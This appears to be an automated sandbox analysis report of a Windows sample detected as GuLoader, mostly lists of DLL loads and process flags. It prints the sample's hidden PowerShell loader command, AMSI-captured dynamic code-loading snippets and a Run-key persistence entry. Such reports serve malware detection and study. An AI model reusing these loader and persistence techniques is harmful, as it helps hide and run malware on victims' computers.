Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: edgegdi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: zR4aIjCuRs.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: CallSite.Targetore.pdb|j source: powershell.exe, 00000002.00000002.274414428126.0000000008AB7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.274408791125.000000000742D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: tem.Core.pdb source: powershell.exe, 00000002.00000002.274413700752.00000000089A7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdb source: powershell.exe, 00000002.00000002.274412829387.00000000088DF000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdbk source: powershell.exe, 00000002.00000002.274412829387.00000000088DF000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000002.00000002.274416296042.000000000A9BD000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer((Forureningsforebygget $Execrative $Erotema), (Radiator @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Tvangsakkordens = [AppDomain]::CurrentDomain.GetAsse
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Precandidacy)), $Couniversal).DefineDynamicModule($Begrebsforvirringer, $false).DefineType($Shutoff, $Farvemssige, [System.MulticastDe
Suspicious powershell command line found
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sudadero=Get-Content -Raw 'C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges\Falkespors.Var';$Maalkastets=$Sudadero.SubString(54266,3);.$Maalkastets($Sudadero) "
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sudadero=Get-Content -Raw 'C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges\Falkespors.Var';$Maalkastets=$Sudadero.SubString(54266,3);.$Maalkastets($Sudadero) " Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_030585B8 push eax; mov dword ptr [esp], edx 2_2_030585CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_03051E1B pushad ; ret 2_2_03051E4A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_03051D72 pushad ; ret 2_2_03051D9A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08FC4549 push 8BD38B50h; iretd 2_2_08FC454E
Drops PE files
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\determinationens\Wanderlustful\svageliges\zR4aIjCuRs.exe Jump to dropped file
Source: C:\Windows\SysWOW64\reg.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Tragacanth Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Tragacanth Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Users\user\Desktop\zR4aIjCuRs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
